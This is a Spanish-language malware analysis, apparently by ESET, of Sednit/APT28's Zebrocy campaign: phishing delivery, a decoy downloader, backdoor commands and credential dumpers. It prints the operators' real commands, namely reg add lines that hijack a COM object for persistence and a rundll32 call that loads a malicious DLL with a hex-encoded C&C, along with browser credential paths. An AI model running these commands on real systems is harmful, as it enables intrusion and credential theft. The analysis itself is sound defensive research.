¿Qué sucede cuándo una víctima es comprometida por un backdoor y su operador lo está controlando? Es una pregunta difícil que no es posible responder de manera completa con solo aplicar ingeniería inversa al código. En este artículo analizaremos algunos comandos enviados por sus operadores hacia sus blancos de ataque.

El grupo Sednit – también conocido como APT28, Fancy Bear, Sofacy o STRONTIUM – ha estado operando desde al menos 2014 y ha ocupado los titulares con frecuencia durante los últimos años.

Recientemente, hemos revelado la existencia de un rootkit de UEFI, llamado LoJax, el cual hemos atribuido al grupo Sednit. Este es el primero asociado a un grupo de APT, y refleja que Sednit ha tenido acceso a herramientas sofisticadas para llevar adelante sus operaciones de espionaje.

Tres años antes, el grupo Sednit lanzó nuevos componentes dirigidos a víctimas en varios países de Medio Orienta y Asia Central. A partir de ahí, el número y diversidad de componentes ha incrementado drásticamente. Los investigadores de ESET, así como otros colegas de otras compañías, han documentado estos componentes. Sin embargo, en este artículo nos enfocaremos en lo que está por detrás del compromiso, es decir; lo que los operadores realizan una vez que el sistema de una víctima está ejecutando el backdoor.

El cebo del oso

A fines de Agosto de 2018, el grupo Sednit lanzó una campaña de spear phishing (correos dirigidos) en la que distribuyó URLs acortadas que liberaban la primera fase de los componentes de Zebrocy. En el pasado, Sednit utilizó una técnica similar para campañas de phishing. Sin embargo, es inusual que el grupo utilice esta técnica para entregar uno de los componentes de su malware de manera directa. Previamente utilizó exploits para entregar y ejecutar el malware de primera fase, mientras que en esta campaña el grupo se apoyó enteramente en el uso de técnicas de ingeniería social para engañar a sus víctimas para que corran la primera parte de la cadena. La captura de pantalla en la Figura 1 muestra estadísticas de Bitly para la URL acortada que se utilizó en esta campaña.

Figura 1. Estadísticas de la URL de Bitly

Este enlace registró cerca de 20 clics en la misma semana que fue creada la URL, y esto presumiblemente descargó el archivo apuntado. Tengamos en mente que esto puede significar menos de 20 potenciales víctimas, ya que las víctimas puede que hayan hecho clic en la URL dos veces, o incluso más, debido a que el resultado no fue el que esperaron… tal como lo describiremos a continuación.

Mientras que los datos de la telemetría de ESET indican que esta URL fue distribuida mediante correos de spear phishing, no contamos con una muestra de tales correos. La URL acortada direcciona a la víctima a una URL basada en una IP en la que está ubicado el payload almacenado.

Desafortunadamente, sin el mensaje del correo, no sabemos si hay alguna instrucción para el usuario, si hay alguna otra ingeniería social, o si se apoya solamente en la curiosidad de la víctima. El archivo contiene dos archivos; el primero es un ejecutable, mientras que el segundo es un documento PDF utilizado como señuelo.

Figura 2. Archivos extraídos del archivo (Traductor de Google sugiere “CATÁLOGO - (2018).exe” y “Orden 97.pdf” en Ucraniano)

Nótese que hay un error de tipeo en el nombre del archivo ejecutable; ya que debería ser “ДОВIДНИК” en lugar de “ДОВIДНIК”. Una vez que el binario es ejecutado, se abre una caja de diálogo que solicita ingresar una contraseña. El resultado de la validación de la contraseña siempre será erróneo, pero luego del aparente intento de validación, el documento PDF utilizado como señuelo se abre. Este documento parece estar vacío, pero el downloader, el cual está escrito en Delphi, continúa corriendo en segundo plano. La dirección IP también es utilizada en la URL hardcodeada en el primer downloader binario.

La guarida del oso

El downloader de Fase-1 descargará y ejecutará un nuevo downloader, escrito en C++, no muy diferente de otros downloaders de Zebrocy. Una vez más, este downloader es tan simple como los otros downloaders de Zebrocy. Crea una ID y descarga un nuevo e interesante backdoor (esta vez) escrito en Delphi.

Tal como explicamos en nuestro más reciente artículo sobre Zebrocy, la configuración del backdoor es almacenada en la sección recursos y es dividida en cuatro blobs cifrados, codificados en hex. Estos blobs contienen las diferentes partes de la configuración.

Figura 3. Resumen de la sección recursos

Una vez que el backdoor envía información básica sobre el nuevo sistema comprometido, los operadores toman control del backdoor e inmediatamente comienzan a enviarle comandos.

Por lo tanto, el tiempo que transcurre entre el momento en que la víctima corre el downloader y que los operadores envían los primeros comandos es solo de unos pocos minutos.

Cómo caza el oso

En esta sección describimos con más detalle los comandos que los operadores ejecutan manualmente a través de su backdoor Delphi.

Los comandos disponibles están ubicados en la configuración de uno de los blobs mencionados anteriormente (el blob “comando” en la Figura 3). El número de comandos soportados ha incrementado con el transcurso del tiempo, contando con más de 30 en la última versión del backdoor. Como no hemos identificado un patrón en el orden en que son invocados los comandos, creemos que los operadores están ejecutándolos manualmente.

El primer conjunto de comandos recolecta información acerca de la computadora y el entorno de la víctima:

Los comandos anteriores son comúnmente ejecutados apenas los operadores se conectan a un nuevo backdoor activado. No presentan ningún argumento y son bastante fáciles de entender. Otros comandos que comúnmente se ha visto y que son ejecutados poco después que estos backdoors son activados, son listados a continuación:

Aquellos que ya han leído nuestros artículos previos sobre Zebrocy notarán que, más o menos, el mismo tipo de información es enviada una y otra vez en etapas anteriores. Esta información es solicitada a los pocos minutos del compromiso inicial y la cantidad de datos con la que el operador deberá lidiar es bastante.

Con el fin de recolectar incluso más información, cada cierto período de tiempo, los operadores de Zebrocy suben y utilizan dumpers en las computadoras de las víctimas. Los actuales dumpers presentan ciertas similitudes con aquellos que fueron utilizados previamente por el grupo. En este caso, son apuntados navegadores como Yandex, Chromium, 7Star Browser (un navegador basado en Chromium) y CentBrowser, así como versiones anteriores de Microsoft Outlook desde 1997 hasta 2016.

Estos dumpers crean archivos log que indican la presencia o ausencia de potenciales bases de datos para dumpear.

Los siguientes dumpers contienen las siguientes rutas cuando no hay bases de datos para dumpear.

%LOCALAPPDATA%\Yandex\YandexBrowser\User Data\Default\Login Data not found
%LOCALAPPDATA%\Chromium\User Data\Default\Login Data not found
%LOCALAPPDATA%\7Star\7Star\User Data\Default\Login Data not found
%LOCALAPPDATA%\CentBrowser\User Data\Default\Login Data not found

Estos dumpers son rápidamente removidos una vez que han hecho su trabajo. Además, el backdoor contiene una lista de nombres de archivo relacionados con las credenciales del software que se muestra a continuación (nombres de base de datos):

Los operadores se preocupan de recuperar estas bases de datos si están presentes en las computadoras de la víctimas.

Los operadores recuperan estos archivos en la máquina utilizando el comando DOWNLOAD_LIST. Este comando puede ser utilizado cuando los operadores están al tanto de la presencia de archivos interesantes en la computadora.

Finalmente, dependiendo de qué tan interesante es la víctima, los operadores del malware pueden desplegar otro backdoor personalizado. Este backdoor es ejecutado utilizando el comando CMD_EXECUTE.

reg add "HKCU\Software\Classes\CLSID\{0CD069CF-AC9B-41F4-9571-3A95A62C36A1}" /ve /d "Reliability Maintenance Control Panel" /reg:64 /f&&reg add "HKCU\Software\Classes\CLSID\{0CD069CF-AC9B-41F4-9571-3A95A62C36A1}\InProcServer32" /ve /d "%APPDATA%\Microsoft\WinSupport\RMC\mtrcpl.dll" /reg:64 /f&&reg add "HKCU\Software\Classes\CLSID\{0CD069CF-AC9B-41F4-9571-3A95A62C36A1}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Both" /reg:64 /f
rundll32.exe "%APPDATA%\Microsoft\WinSupport\RMC\mtrcpl.dll",#1 687474703A2F2F[REDACTED]
dir /s /b /o:gn %APPDATA%\Microsoft\

Hay algunos hechos interesantes aquí. Primero, utilizan el secuestro de objetos COM para hacer que el malware persista en el sistema, incluso pese a que el backdoor personalizado es instalado solo por un par de horas. Segundo, el string codificados en hex es el C&C utilizado por el backdoor personalizado, mientras que en el backdoor en Delphi el C&C es embebido en la configuración.

Los dos backdoors en Delphi son bastante similares, pero contienen estos interesantes ajustes:

Una vez más, no queda muy claro cuál es el propósito de este backdoor personalizado. El ratio de detección es definitivamente bajo en comparación con el backdoor “usual”. El breve período de tiempo en el que este backdoor está dentro del sistema de forma operativa hace que sea difícil de recuperar. Una vez que sus operadores completan sus acciones malintencionadas, rápidamente lo eliminan.

Resumen

Observar los comandos utilizados de manera activa por los operadores de este backdoor es bastante interesante. Están recolectando una considerable cantidad de información del blanco comprometido y no parecen estar preocupados por la duplicación de datos. Muestra una gran brecha entre la estrategia de desarrollo y lo que los operadores realizan en la práctica. Estos backdoors con configuraciones personalizadas y módulos son desplegados de manera muy cuidadosa, lo cual indica ciertas precauciones para evitar que caiga en las manos de investigadores.

El primer conjunto de comandos es el mismo y es ejecutado durante un muy breve período de tiempo, que genera otra pregunta: ¿es automatizado?

Indicadores de Compromiso (IoCs)

Técnicas de MITRE ATT&CK